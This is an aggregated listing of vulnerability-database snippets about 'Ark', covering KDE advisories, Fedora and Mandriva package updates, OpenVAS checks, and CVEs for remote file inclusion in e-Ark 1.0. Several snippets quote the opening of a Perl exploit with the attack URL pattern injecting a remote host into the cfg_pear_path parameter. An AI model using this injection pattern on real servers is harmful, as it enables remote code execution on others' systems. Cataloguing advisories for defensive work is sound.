KDE 4.3.2 - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/36845/info KDE is prone to multiple input-validation vulnerabilities that affect 'Ark', 'IO Slaves', and 'Kmail'. An attacker can exploit these issues by tricking an unsuspecting victim into opening a malicious file. A successful attack will allow arbitra...

[SECURITY] Fedora 10 Update: kdeutils-4.3.1-1.fc10

Utilities for the K Desktop Environment. Includes: ark: tar/gzip archive manager kcalc: scientific calculator kcharselect: character selector kdelirc: Linux Infrared Remote Control frontend kdessh: ssh front end kdf: view disk usage kfloppy: floppy formatting tool kgpg: gpg gui ktimer: task...

[SECURITY] Fedora 11 Update: kdeutils-4.3.1-1.fc11

Utilities for the K Desktop Environment. Includes: ark: tar/gzip archive manager kcalc: scientific calculator kcharselect: character selector kdelirc: Linux Infrared Remote Control frontend kdessh: ssh front end kdf: view disk usage kfloppy: floppy formatting tool kgpg: gpg gui ktimer: task...

MDVA-2008:030 : kdelibs

After a previous update kdelibs-3.5.7-43.5mdv2008.0, Ark was able to open tar.bz2 archives, but couldn't show their content. The updated packages fix this issue. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix. Disabled on...

Mandriva Update for kdeutils MDVA-2008:046 (kdeutils)

Check for the Version of kdeutils OpenVAS Vulnerability Test Mandriva Update for kdeutils MDVA-2008:046 kdeutils Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

Mandriva Update for kdeutils MDKA-2007:002 (kdeutils)

Check for the Version of kdeutils OpenVAS Vulnerability Test Mandriva Update for kdeutils MDKA-2007:002 kdeutils Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

Fedora Update for kdeutils FEDORA-2007-2985

Check for the Version of kdeutils OpenVAS Vulnerability Test Fedora Update for kdeutils FEDORA-2007-2985 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...

Unfixed XSS vulnerability at www.noahsark.nl

Security researcher cueballr, has submitted on 19/04/2008 a cross-site-scripting XSS vulnerability affecting www.noahsark.nl, which at the time of submission ranked 11537059 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/04/2008. It is...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in eArk e-Ark 1.0 allow remote attackers to execute arbitrary PHP code via a URL in 1 the cfgvcardpath parameter to src/vcardinc.php or 2 the cfgphpmailerpath parameter to src/emailinc.php. NOTE: the arkinc.php vector is already covered by...

CVE-2007-5216

CVE-2007-5216 covers multiple PHP remote file inclusion vulnerabilities in eArk (e-Ark) 1.0. The issues allow remote attackers to execute arbitrary PHP code via a URL in (1) cfg_vcard_path (src/vcard_inc.php) or (2) cfg_phpmailer_path (src/email_inc.php). The ark_inc.php vector is noted as alread...

CVE-2007-5216

Multiple PHP remote file inclusion vulnerabilities in eArk e-Ark 1.0 allow remote attackers to execute arbitrary PHP code via a URL in 1 the cfgvcardpath parameter to src/vcardinc.php or 2 the cfgphpmailerpath parameter to src/emailinc.php. NOTE: the arkinc.php vector is already covered by...

MDKA-2007:002 : kdeutils

A bug in the kdeutils-ark package prevented the creation of a zip format archive using Konqueror, or from ark directly. Updated packages have been patched to correct this issue. %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security...

E-Ark Ark_Inc.PHP远程文件包含漏洞

E-Ark是一款基于php的WEB应用程序。 E-Ark不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'ArkInc.php'脚本对用户提交的'cfgpearpath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 e-Ark e-Ark 1.0 目前没有解决方案提供： http://mesh.dl.sourceforge.net/sourceforge/e-ark/ !/usr/bin/perl Portal Name : e-Ark project Remote File Inclusion...

e-Ark project Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl Portal Name : e-Ark project Remote File Inclusion Exploit Exploit: http://target/path/src/arkinc.php?cfgpearpath=http:// Vulnerable Code:requireonce $cfgpearpath . 'PEAR.php' ; Bug Found DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon Download...

CVE-2006-6086

PHP remote file inclusion vulnerability in src/arkinc.php in e-Ark 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the cfgpearpath parameter...

CVE-2006-6086

PHP remote file inclusion vulnerability in src/arkinc.php in e-Ark 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the cfgpearpath parameter...

CVE-2006-6086

Summary of findings: CVE-2006-6086 and related entries describe PHP remote file inclusion vulnerabilities in eArk (e-Ark) 1.0. The trusted sources show that: (1) CVE-2006-6086 affects src/ark_inc.php, allowing remote attackers to execute arbitrary PHP code via a URL in the cfg_pear_path parameter...

e-Ark 1.0 (src/ark_inc.php) Remote File Include Vulnerability

No description provided by source. !/usr/bin/perl Portal Name : e-Ark project Remote File Inclusion Exploit Exploit: http://target/path/src/arkinc.php?cfgpearpath=http:// Vulnerable Code:requireonce $cfgpearpath . 'PEAR.php' ; Bug Found DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon Download...

e-Ark 1.0 - srcark_inc.php Remote File Inclusion

e-Ark 1.0 - srcarkinc.php Remote File Inclusion !/usr/bin/perl Portal Name : e-Ark project Remote File Inclusion Exploit Exploit: http://target/path/src/arkinc.php?cfgpearpath=http:// Vulnerable Code:requireonce $cfgpearpath . 'PEAR.php' ; Bug Found DeltahackingTEAM Code :Dr.Trojan&Dr.Pantagon...

e-Ark 1.0 (src/ark_inc.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================= e-Ark 1.0 src/arkinc.php Remote File Include Vulnerability ============================================================= !/usr/bin/perl Portal Name : e-Ark project Remote File...